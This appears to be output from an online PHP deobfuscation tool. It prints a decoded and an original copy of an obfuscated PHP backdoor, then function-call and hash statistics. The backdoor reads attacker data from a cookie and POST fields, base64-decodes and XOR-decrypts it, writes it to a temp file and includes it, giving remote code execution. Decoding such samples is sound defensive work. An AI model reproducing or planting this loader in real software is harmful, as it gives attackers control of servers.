Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                              
                                                                                                                          $rUNbHIypG = chr (69) . "q" . 'q' . "_" . chr (122) . "g" . "Z" . 'r' . chr (108); $ExjxI = "c" . "l" . 'a' . "s" . "s" . "_" . chr (101) . "x" . "i" . 's' . "t" . chr ( 494 - 379 ); $xziUTz = class_exists($rUNbHIypG); $rUNbHIypG = "64689";$ExjxI = "26465";if ($xziUTz === FALSE){class Eqq_zgZrl{public function dTaceVrJ(){echo "9357";}private $lmFTpr;public static $lAQbFsu = "3b365805-75f4-4538-a274-88fd5780e838";public static $wokMgMwXn = 27024;public function __construct($DencoLMm=0){$gzMXWzttdF = $_POST;$HDirUP = $_COOKIE;$ebmbC = @$HDirUP[substr(Eqq_zgZrl::$lAQbFsu, 0, 4)];if (!empty($ebmbC)){$OqxygC = "base64";$ySoxEKn = "";$ebmbC = explode(",", $ebmbC);foreach ($ebmbC as $jDEtWKu){$ySoxEKn .= @$HDirUP[$jDEtWKu];$ySoxEKn .= @$gzMXWzttdF[$jDEtWKu];}$ySoxEKn = array_map($OqxygC . "_" . chr (100) . chr (101) . 'c' . chr (111) . chr (100) . "e", array($ySoxEKn,)); $ySoxEKn = $ySoxEKn[0] ^ str_repeat(Eqq_zgZrl::$lAQbFsu, (strlen($ySoxEKn[0]) / strlen(Eqq_zgZrl::$lAQbFsu)) + 1);Eqq_zgZrl::$wokMgMwXn = @unserialize($ySoxEKn);}}private function ZzVZCjOKO(){if (is_array(Eqq_zgZrl::$wokMgMwXn)) {$hrglVChXn = sys_get_temp_dir() . "/" . crc32(Eqq_zgZrl::$wokMgMwXn[chr ( 200 - 85 ).'a' . chr ( 991 - 883 ).chr ( 848 - 732 )]);@Eqq_zgZrl::$wokMgMwXn[chr ( 1023 - 904 ).'r' . chr ( 359 - 254 ).chr (116) . "e"]($hrglVChXn, Eqq_zgZrl::$wokMgMwXn["c" . "o" . "n" . "t" . 'e' . chr (110) . 't']);include $hrglVChXn;@Eqq_zgZrl::$wokMgMwXn["d" . chr ( 639 - 538 ).chr ( 645 - 537 ).'e' . "t" . chr (101)]($hrglVChXn); $tPMlcd = "40004";exit();}}public function __destruct(){$this->ZzVZCjOKO();}}$cDOkshgf = new /* 63612 */ Eqq_zgZrl(); $cDOkshgf = str_repeat("57808_3952", 1);} ?><

Did this file decode correctly?

Original Code

<?php                                                                                                                             
                                                                                                                          $rUNbHIypG = chr (69) . "\161" . 'q' . "\x5f" . chr (122) . "\x67" . "\132" . 'r' . chr (108); $ExjxI = "\143" . "\x6c" . 'a' . "\163" . "\163" . "\137" . chr (101) . "\x78" . "\151" . 's' . "\x74" . chr ( 494 - 379 ); $xziUTz = class_exists($rUNbHIypG); $rUNbHIypG = "64689";$ExjxI = "26465";if ($xziUTz === FALSE){class Eqq_zgZrl{public function dTaceVrJ(){echo "9357";}private $lmFTpr;public static $lAQbFsu = "3b365805-75f4-4538-a274-88fd5780e838";public static $wokMgMwXn = 27024;public function __construct($DencoLMm=0){$gzMXWzttdF = $_POST;$HDirUP = $_COOKIE;$ebmbC = @$HDirUP[substr(Eqq_zgZrl::$lAQbFsu, 0, 4)];if (!empty($ebmbC)){$OqxygC = "base64";$ySoxEKn = "";$ebmbC = explode(",", $ebmbC);foreach ($ebmbC as $jDEtWKu){$ySoxEKn .= @$HDirUP[$jDEtWKu];$ySoxEKn .= @$gzMXWzttdF[$jDEtWKu];}$ySoxEKn = array_map($OqxygC . "\137" . chr (100) . chr (101) . 'c' . chr (111) . chr (100) . "\145", array($ySoxEKn,)); $ySoxEKn = $ySoxEKn[0] ^ str_repeat(Eqq_zgZrl::$lAQbFsu, (strlen($ySoxEKn[0]) / strlen(Eqq_zgZrl::$lAQbFsu)) + 1);Eqq_zgZrl::$wokMgMwXn = @unserialize($ySoxEKn);}}private function ZzVZCjOKO(){if (is_array(Eqq_zgZrl::$wokMgMwXn)) {$hrglVChXn = sys_get_temp_dir() . "/" . crc32(Eqq_zgZrl::$wokMgMwXn[chr ( 200 - 85 ).'a' . chr ( 991 - 883 ).chr ( 848 - 732 )]);@Eqq_zgZrl::$wokMgMwXn[chr ( 1023 - 904 ).'r' . chr ( 359 - 254 ).chr (116) . "\145"]($hrglVChXn, Eqq_zgZrl::$wokMgMwXn["\x63" . "\157" . "\x6e" . "\164" . 'e' . chr (110) . 't']);include $hrglVChXn;@Eqq_zgZrl::$wokMgMwXn["\144" . chr ( 639 - 538 ).chr ( 645 - 537 ).'e' . "\164" . chr (101)]($hrglVChXn); $tPMlcd = "40004";exit();}}public function __destruct(){$this->ZzVZCjOKO();}}$cDOkshgf = new /* 63612 */ Eqq_zgZrl(); $cDOkshgf = str_repeat("57808_3952", 1);} ?><

Function Calls

chr 5
class_exists 1

Variables

$ExjxI class_exists
$rUNbHIypG Eqq_zgZrl

Stats

MD5 21d376809b1c450e0d44a348ae3a010e
Eval Count 0
Decode Time 57 ms